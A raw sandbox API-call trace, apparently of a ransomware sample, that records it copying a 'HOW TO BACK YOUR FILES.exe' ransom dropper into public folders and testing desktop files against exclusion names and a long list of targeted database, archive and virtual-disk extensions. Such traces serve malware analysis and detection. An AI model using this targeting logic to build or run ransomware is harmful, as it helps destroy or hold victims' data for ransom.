	[0046.850] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Documents\\My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos"
	[0046.850] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.850] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0046.850] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0046.851] GetLastError () returned 0x0
	[0046.851] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0046.851] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0046.851] CloseHandle (hObject=0x14c) returned 1
	[0046.851] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0046.851] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.851] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0xffffffff
	[0046.851] GetLastError () returned 0x5
	[0046.851] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Public\\Documents\\My Videos\\* FindFirstFile error 5\r\n") returned 69
	[0046.851] lstrlenA (lpString="[ERROR] C:\\Users\\Public\\Documents\\My Videos\\* FindFirstFile error 5\r\n") returned 69
	[0046.851] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0046.851] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13bb
	[0046.851] WriteFile (in: hFile=0x14c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x45, lpOverlapped=0x0) returned 1
	[0046.851] CloseHandle (hObject=0x14c) returned 1
	[0046.852] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b70
	[0046.852] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Public\\Documents\\My Pictures", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures"
	[0046.852] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc908 | out: hHeap=0x580000) returned 1
	[0046.852] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0046.852] lstrlenW (lpString="C:\\Users\\Public\\Documents\\My Pictures") returned 37
	[0046.852] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures"
	[0046.852] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.852] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0046.852] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0046.852] GetLastError () returned 0x0
	[0046.852] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0046.852] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0046.852] CloseHandle (hObject=0x14c) returned 1
	[0046.852] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0046.853] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.853] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0xffffffff
	[0046.853] GetLastError () returned 0x5
	[0046.853] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Public\\Documents\\My Pictures\\* FindFirstFile error 5\r\n") returned 71
	[0046.853] lstrlenA (lpString="[ERROR] C:\\Users\\Public\\Documents\\My Pictures\\* FindFirstFile error 5\r\n") returned 71
	[0046.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0046.853] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1400
	[0046.853] WriteFile (in: hFile=0x14c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x47, lpOverlapped=0x0) returned 1
	[0046.853] CloseHandle (hObject=0x14c) returned 1
	[0046.853] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b50
	[0046.853] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Public\\Documents\\My Music", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music"
	[0046.853] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdca8 | out: hHeap=0x580000) returned 1
	[0046.853] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0046.853] lstrlenW (lpString="C:\\Users\\Public\\Documents\\My Music") returned 34
	[0046.853] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Documents\\My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music"
	[0046.853] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.853] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0046.854] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0046.854] GetLastError () returned 0x0
	[0046.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0046.854] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0046.854] CloseHandle (hObject=0x14c) returned 1
	[0046.854] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0046.854] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.854] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0xffffffff
	[0046.854] GetLastError () returned 0x5
	[0046.854] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Public\\Documents\\My Music\\* FindFirstFile error 5\r\n") returned 68
	[0046.854] lstrlenA (lpString="[ERROR] C:\\Users\\Public\\Documents\\My Music\\* FindFirstFile error 5\r\n") returned 68
	[0046.854] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0046.854] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1447
	[0046.855] WriteFile (in: hFile=0x14c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x44, lpOverlapped=0x0) returned 1
	[0046.855] CloseHandle (hObject=0x14c) returned 1
	[0046.855] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bb0
	[0046.855] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Public\\Desktop", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop"
	[0046.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ed0 | out: hHeap=0x580000) returned 1
	[0046.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ba8 | out: hHeap=0x580000) returned 1
	[0046.855] lstrlenW (lpString="C:\\Users\\Public\\Desktop") returned 23
	[0046.855] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Desktop" | out: lpString1="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop"
	[0046.855] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.855] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0046.855] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0046.855] GetLastError () returned 0x0
	[0046.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0046.855] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0046.856] CloseHandle (hObject=0x14c) returned 1
	[0046.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0046.856] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.856] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dca1e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dca1e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0046.856] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.856] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.856] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.856] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dca1e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dca1e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.856] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.856] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.856] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.856] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.856] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c279c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c279c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c4db20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x7e9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="ADOBER~1.LNK")) returned 1
	[0046.856] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.856] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="Apollon865.txt.exe") returned -1
	[0046.856] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".") returned 1
	[0046.856] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="..") returned 1
	[0046.856] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="windows") returned -1
	[0046.856] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="bootmgr") returned -1
	[0046.856] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="temp") returned -1
	[0046.856] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="pagefile.sys") returned -1
	[0046.856] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="boot") returned -1
	[0046.856] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="ids.txt") returned -1
	[0046.856] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="ntuser.dat") returned -1
	[0046.856] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="perflogs") returned -1
	[0046.857] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2="MSBuild") returned -1
	[0046.857] lstrlenW (lpString="Adobe Reader X.lnk") returned 18
	[0046.857] lstrlenW (lpString="C:\\Users\\Public\\Desktop\\*") returned 25
	[0046.857] lstrcpyW (in: lpString1=0x119e638, lpString2="Adobe Reader X.lnk" | out: lpString1="Adobe Reader X.lnk") returned="Adobe Reader X.lnk"
	[0046.857] lstrlenW (lpString="Adobe Reader X.lnk") returned 18
	[0046.857] lstrlenW (lpString="Apollon865") returned 10
	[0046.857] lstrcmpiW (lpString1="ader X.lnk", lpString2="Apollon865") returned -1
	[0046.857] lstrlenW (lpString=".dll") returned 4
	[0046.857] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".dll") returned 1
	[0046.857] lstrlenW (lpString=".lnk") returned 4
	[0046.857] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".lnk") returned 1
	[0046.857] lstrlenW (lpString=".ini") returned 4
	[0046.857] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".ini") returned 1
	[0046.857] lstrlenW (lpString=".sys") returned 4
	[0046.857] lstrcmpiW (lpString1="Adobe Reader X.lnk", lpString2=".sys") returned 1
	[0046.857] lstrlenW (lpString="Adobe Reader X.lnk") returned 18
	[0046.857] lstrlenW (lpString="bak") returned 3
	[0046.857] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1
	[0046.857] lstrlenW (lpString="ba_") returned 3
	[0046.857] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1
	[0046.857] lstrlenW (lpString="dbb") returned 3
	[0046.857] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1
	[0046.857] lstrlenW (lpString="vmdk") returned 4
	[0046.857] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1
	[0046.857] lstrlenW (lpString="rar") returned 3
	[0046.857] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1
	[0046.857] lstrlenW (lpString="zip") returned 3
	[0046.857] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1
	[0046.857] lstrlenW (lpString="tgz") returned 3
	[0046.857] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1
	[0046.857] lstrlenW (lpString="vbox") returned 4
	[0046.857] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1
	[0046.857] lstrlenW (lpString="vdi") returned 3
	[0046.857] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1
	[0046.857] lstrlenW (lpString="vhd") returned 3
	[0046.858] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1
	[0046.858] lstrlenW (lpString="vhdx") returned 4
	[0046.858] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1
	[0046.858] lstrlenW (lpString="avhd") returned 4
	[0046.858] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1
	[0046.858] lstrlenW (lpString="db") returned 2
	[0046.858] lstrcmpiW (lpString1="nk", lpString2="db") returned 1
	[0046.858] lstrlenW (lpString="db2") returned 3
	[0046.858] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1
	[0046.858] lstrlenW (lpString="db3") returned 3
	[0046.858] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1
	[0046.858] lstrlenW (lpString="dbf") returned 3
	[0046.858] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1
	[0046.858] lstrlenW (lpString="mdf") returned 3
	[0046.858] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1
	[0046.858] lstrlenW (lpString="mdb") returned 3
	[0046.858] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1
	[0046.858] lstrlenW (lpString="sql") returned 3
	[0046.858] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1
	[0046.858] lstrlenW (lpString="sqlite") returned 6
	[0046.858] lstrcmpiW (lpString1=" X.lnk", lpString2="sqlite") returned -1
	[0046.858] lstrlenW (lpString="sqlite3") returned 7
	[0046.858] lstrcmpiW (lpString1="r X.lnk", lpString2="sqlite3") returned -1
	[0046.858] lstrlenW (lpString="sqlitedb") returned 8
	[0046.858] lstrcmpiW (lpString1="er X.lnk", lpString2="sqlitedb") returned -1
	[0046.858] lstrlenW (lpString="xml") returned 3
	[0046.858] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1
	[0046.858] lstrlenW (lpString="$er") returned 3
	[0046.858] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1
	[0046.858] lstrlenW (lpString="4dd") returned 3
	[0046.858] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1
	[0046.858] lstrlenW (lpString="4dl") returned 3
	[0046.858] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1
	[0046.858] lstrlenW (lpString="^^^") returned 3
	[0046.858] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1
	[0046.859] lstrlenW (lpString="abs") returned 3
	[0046.859] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1
	[0046.859] lstrlenW (lpString="abx") returned 3
	[0046.859] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1
	[0046.859] lstrlenW (lpString="accdb") returned 5
	[0046.859] lstrcmpiW (lpString1="X.lnk", lpString2="accdb") returned 1
	[0046.859] lstrlenW (lpString="accdc") returned 5
	[0046.859] lstrcmpiW (lpString1="X.lnk", lpString2="accdc") returned 1
	[0046.859] lstrlenW (lpString="accde") returned 5
	[0046.859] lstrcmpiW (lpString1="X.lnk", lpString2="accde") returned 1
	[0046.859] lstrlenW (lpString="accdr") returned 5
	[0046.859] lstrcmpiW (lpString1="X.lnk", lpString2="accdr") returned 1
	[0046.859] lstrlenW (lpString="accdt") returned 5
	[0046.859] lstrcmpiW (lpString1="X.lnk", lpString2="accdt") returned 1
	[0046.859] lstrlenW (lpString="accdw") returned 5
	[0046.859] lstrcmpiW (lpString1="X.lnk", lpString2="accdw") returned 1
	[0046.859] lstrlenW (lpString="accft") returned 5
	[0046.859] lstrcmpiW (lpString1="X.lnk", lpString2="accft") returned 1
	[0046.859] lstrlenW (lpString="adb") returned 3
	[0046.859] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0046.859] lstrlenW (lpString="adb") returned 3
	[0046.859] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0046.859] lstrlenW (lpString="ade") returned 3
	[0046.859] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1
	[0046.859] lstrlenW (lpString="adf") returned 3
	[0046.859] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1
	[0046.859] lstrlenW (lpString="adn") returned 3
	[0046.859] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1
	[0046.859] lstrlenW (lpString="adp") returned 3
	[0046.859] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1
	[0046.859] lstrlenW (lpString="alf") returned 3
	[0046.859] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1
	[0046.859] lstrlenW (lpString="ask") returned 3
	[0046.859] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1
	[0046.859] lstrlenW (lpString="btr") returned 3
	[0046.859] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1
	[0046.860] lstrlenW (lpString="cat") returned 3
	[0046.860] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1
	[0046.860] lstrlenW (lpString="cdb") returned 3
	[0046.860] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1
	[0046.860] lstrlenW (lpString="ckp") returned 3
	[0046.860] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1
	[0046.860] lstrlenW (lpString="cma") returned 3
	[0046.860] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1
	[0046.860] lstrlenW (lpString="cpd") returned 3
	[0046.860] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1
	[0046.860] lstrlenW (lpString="dacpac") returned 6
	[0046.860] lstrcmpiW (lpString1=" X.lnk", lpString2="dacpac") returned -1
	[0046.860] lstrlenW (lpString="dad") returned 3
	[0046.860] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1
	[0046.860] lstrlenW (lpString="dadiagrams") returned 10
	[0046.860] lstrcmpiW (lpString1="ader X.lnk", lpString2="dadiagrams") returned -1
	[0046.860] lstrlenW (lpString="daschema") returned 8
	[0046.860] lstrcmpiW (lpString1="er X.lnk", lpString2="daschema") returned 1
	[0046.860] lstrlenW (lpString="db-journal") returned 10
	[0046.860] lstrcmpiW (lpString1="ader X.lnk", lpString2="db-journal") returned -1
	[0046.860] lstrlenW (lpString="db-shm") returned 6
	[0046.860] lstrcmpiW (lpString1=" X.lnk", lpString2="db-shm") returned -1
	[0046.860] lstrlenW (lpString="db-wal") returned 6
	[0046.860] lstrcmpiW (lpString1=" X.lnk", lpString2="db-wal") returned -1
	[0046.860] lstrlenW (lpString="dbc") returned 3
	[0046.860] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1
	[0046.860] lstrlenW (lpString="dbs") returned 3
	[0046.860] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1
	[0046.860] lstrlenW (lpString="dbt") returned 3
	[0046.860] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1
	[0046.860] lstrlenW (lpString="dbv") returned 3
	[0046.860] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1
	[0046.860] lstrlenW (lpString="dbx") returned 3
	[0046.860] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1
	[0046.860] lstrlenW (lpString="dcb") returned 3
	[0046.860] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1
	[0046.861] lstrlenW (lpString="dct") returned 3
	[0046.861] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1
	[0046.861] lstrlenW (lpString="dcx") returned 3
	[0046.861] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1
	[0046.861] lstrlenW (lpString="ddl") returned 3
	[0046.861] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1
	[0046.861] lstrlenW (lpString="dlis") returned 4
	[0046.861] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1
	[0046.861] lstrlenW (lpString="dp1") returned 3
	[0046.861] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1
	[0046.861] lstrlenW (lpString="dqy") returned 3
	[0046.861] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1
	[0046.861] lstrlenW (lpString="dsk") returned 3
